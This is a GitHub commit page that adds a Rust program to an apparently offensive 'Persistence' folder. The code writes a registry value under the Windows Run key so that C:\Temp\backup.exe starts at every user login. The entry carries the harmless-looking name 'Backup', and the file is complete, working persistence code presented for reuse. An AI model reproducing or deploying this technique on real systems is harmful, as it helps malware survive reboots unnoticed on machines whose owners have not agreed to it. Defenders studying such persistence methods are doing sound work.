Skip to content

Commit f60ca5d

Browse files
committed
Persistence through Registry
1 parent 59c71af commit f60ca5d

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

Persistence/set_as_startup_program.rs

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
/*
2+
* This program used to setup exe file as an entry to run a specified executable at user login.
3+
* Author @5mukx
4+
*/
5+
6+
use std::ffi::OsString;
7+
use std::os::windows::ffi::OsStrExt;
8+
9+
use winapi::um::winnt::{KEY_SET_VALUE, REG_SZ};
10+
use winapi::um::winreg::{RegCloseKey, RegOpenKeyExW, RegSetValueExW, HKEY_CURRENT_USER};
11+
12+
13+
fn main() -> std::io::Result<()>{
14+
let key_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
15+
let value_name = "Backup";
16+
let exe_path = r"C:\Temp\backup.exe";
17+
18+
let wide: Vec<u16> = OsString::from(exe_path).encode_wide().chain(Some(0)).collect();
19+
20+
unsafe{
21+
let mut hkey: winapi::shared::minwindef::HKEY = std::ptr::null_mut();
22+
let res = RegOpenKeyExW(HKEY_CURRENT_USER,
23+
key_path.encode_utf16().chain(Some(0)).collect::<Vec<_>>().as_ptr(),
24+
0,
25+
KEY_SET_VALUE,
26+
&mut hkey
27+
);
28+
29+
if res == 0{
30+
let res_set = RegSetValueExW(
31+
hkey,
32+
value_name.encode_utf16().chain(Some(0)).collect::<Vec<_>>().as_ptr(),
33+
0,
34+
REG_SZ,
35+
wide.as_ptr() as *const u8,
36+
((wide.len() - 1) * 2) as u32,
37+
);
38+
39+
if res_set != 0{
40+
println!("Failed to set registry value.");
41+
}else{
42+
println!("Successfully set registry value");
43+
}
44+
45+
RegCloseKey(hkey);
46+
} else{
47+
println!("Failed to open registry key.");
48+
}
49+
}
50+
51+
Ok(())
52+
}

0 commit comments

Comments
 (0)